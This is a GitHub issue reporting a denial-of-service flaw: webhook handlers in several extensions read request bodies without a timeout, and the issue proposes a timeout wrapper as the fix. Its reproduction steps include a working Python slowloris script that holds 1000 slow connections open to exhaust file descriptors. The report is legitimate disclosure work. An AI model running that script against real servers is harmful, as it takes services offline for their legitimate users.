-
-
Notifications
You must be signed in to change notification settings - Fork 39.8k
Closed
Labels
bugSomething isn't workingSomething isn't working
Description
CVSS Assessment
| Metric | Value |
|---|---|
| Score | 7.5 / 10.0 |
| Severity | High |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
Multiple webhook handlers read request bodies without timeout. A slow client can hold connections open indefinitely, exhausting file descriptors and causing denial of service.
Affected Code
File 1: extensions/voice-call/src/webhook.ts:276-283
private readBody(req: http.IncomingMessage): Promise<string> {
return new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(chunk));
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf-8")));
req.on("error", reject);
// NO TIMEOUT - client can hold connection forever
});
}File 2: extensions/bluebubbles/src/monitor.ts:511-551
// Similar pattern - reads body without timeout
req.on("data", (chunk) => chunks.push(chunk));
req.on("end", () => { ... });File 3: extensions/nostr/src/nostr-profile-http.ts:233-259
// Similar pattern - reads body without timeoutAttack Surface
How is this reached?
- Network (HTTP/WebSocket endpoint, API call)
Authentication required?
- None (unauthenticated/public access)
Entry point: Webhook endpoints exposed via Tailscale tunnels or public URLs. Voice call webhooks, BlueBubbles integration, Nostr profile updates.
Exploit Conditions
Complexity:
- Low (no special conditions, works reliably)
User interaction:
- None (automatic, no victim action needed)
Prerequisites: Network access to webhook endpoints. These are typically exposed for third-party integrations.
Impact Assessment
Scope:
- Unchanged (impact limited to vulnerable component)
What can an attacker do?
| Impact Type | Level | Description |
|---|---|---|
| Confidentiality | None | No data exposure |
| Integrity | None | No data modification |
| Availability | High | File descriptor exhaustion, connection pool depletion |
Steps to Reproduce
- Open many slow connections to the webhook endpoint:
import socket import time sockets = [] for i in range(1000): s = socket.socket() s.connect(("target", 8080)) s.send(b"POST /webhook HTTP/1.1\r\n") s.send(b"Host: target\r\n") s.send(b"Content-Length: 1000000\r\n\r\n") # Send 1 byte every 10 seconds sockets.append(s) while True: for s in sockets: s.send(b"X") time.sleep(10)
- Each connection holds a file descriptor and memory for chunks
- Observe: Gateway runs out of file descriptors or memory
- Legitimate webhook requests fail
Recommended Fix
Add a body read timeout wrapper:
function readBodyWithTimeout(req: http.IncomingMessage, timeoutMs: number): Promise<string> {
return new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
const timer = setTimeout(() => {
req.destroy(new Error(`Body read timeout after ${timeoutMs}ms`));
reject(new Error("Request body timeout"));
}, timeoutMs);
req.on("data", (chunk) => chunks.push(chunk));
req.on("end", () => {
clearTimeout(timer);
resolve(Buffer.concat(chunks).toString("utf-8"));
});
req.on("error", (err) => {
clearTimeout(timer);
reject(err);
});
});
}References
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
bugSomething isn't workingSomething isn't working